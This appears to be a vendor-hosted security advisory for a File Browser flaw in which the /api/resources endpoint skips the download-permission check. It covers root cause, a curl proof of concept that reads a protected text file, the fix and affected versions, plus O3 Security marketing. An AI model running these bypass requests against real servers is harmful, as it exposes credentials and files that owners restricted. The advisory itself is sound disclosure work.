GHSA-67cg-cpj7-qgc9
GHSA-67cg-cpj7-qgc9 is a CWE-862 vulnerability in github.com/filebrowser/filebrowser/v2. O3 Security confirms whether GHSA-67cg-cpj7-qgc9 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
File Browser discloses text file content via /api/resources endpoint bypassing Perm.Download check
Real-World Exposure
github.com/filebrowser/filebrowser/v2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The resourceGetHandler in http/resource.go returns full text file content without checking the Perm.Download permission flag. All three other content-serving endpoints (/api/raw, /api/preview, /api/subtitle) correctly verify this permission before serving content. A user with download: false can read any text file within their scope through two bypass paths.
Confirmed on v2.62.2 (commit 860c19d).
Root Cause
http/resource.go line 26-33 hardcodes Content: true in the FileOptions without checking download permission:
file, err := files.NewFileInfo(&files.FileOptions{
...
Content: true, // Always loads text content, no permission check
})
Lines 44-63: the X-Encoding: true header path reads the entire file and returns raw bytes as application/octet-stream, also without any download check.
Compare with the three protected endpoints:
// raw.go:83-85
if !d.user.Perm.Download { return http.StatusAccepted, nil }
// preview.go:38-40
if !d.user.Perm.Download { return http.StatusAccepted, nil }
// subtitle.go:13-15
if !d.user.Perm.Download { return http.StatusAccepted, nil }
PoC
Tested on filebrowser v2.62.2, built from HEAD.
# Create user with download=false via CLI
filebrowser users add restricted testuser123456 --perm.download=false
# Login
TOKEN=$(curl -s http://HOST/api/login -d '{"username":"restricted","password":"testuser123456"}')
# BLOCKED: /api/raw correctly enforces download permission
curl -s -w "\nHTTP: %{http_code}" http://HOST/api/raw/secret.txt -H "X-Auth: $TOKEN"
# → 202 Accepted (empty body)
# BYPASS 1: /api/resources with X-Encoding returns raw file content
curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" -H "X-Encoding: true"
# → 200 OK, body: SECRET_PASSWORD=hunter2
# BYPASS 2: /api/resources JSON includes content field
curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" | jq .content
# → "SECRET_PASSWORD=hunter2\n"
Impact
A user with download: false can read the full content of text files within their authorized scope (up to the 10MB detectType limit). This includes source code, configuration files, credentials, and API tokens stored as text.
This bypass does not defeat path authorization. It bypasses only the Download permission for files the user can otherwise address within their authorized scope. The inconsistency across the four content-serving endpoints (three check Perm.Download, one does not) indicates this is an oversight, not a design decision.
Suggested Fix
Match the existing endpoint behavior (HTTP 202 for denied downloads):
Content: d.user.Perm.Download, // Only load content when permitted
And add a guard before the X-Encoding raw byte path, matching the existing 202 pattern:
if !d.user.Perm.Download {
return http.StatusAccepted, nil
}
Update: Fix submitted as PR #5891.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/filebrowser/filebrowser/v2 | all versions | 2.63.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/filebrowser/filebrowser/v2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/filebrowser/filebrowser/v2 to 2.63.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-67cg-cpj7-qgc9 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-67cg-cpj7-qgc9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-67cg-cpj7-qgc9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-67cg-cpj7-qgc9 in your dependencies?
O3 detects GHSA-67cg-cpj7-qgc9 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.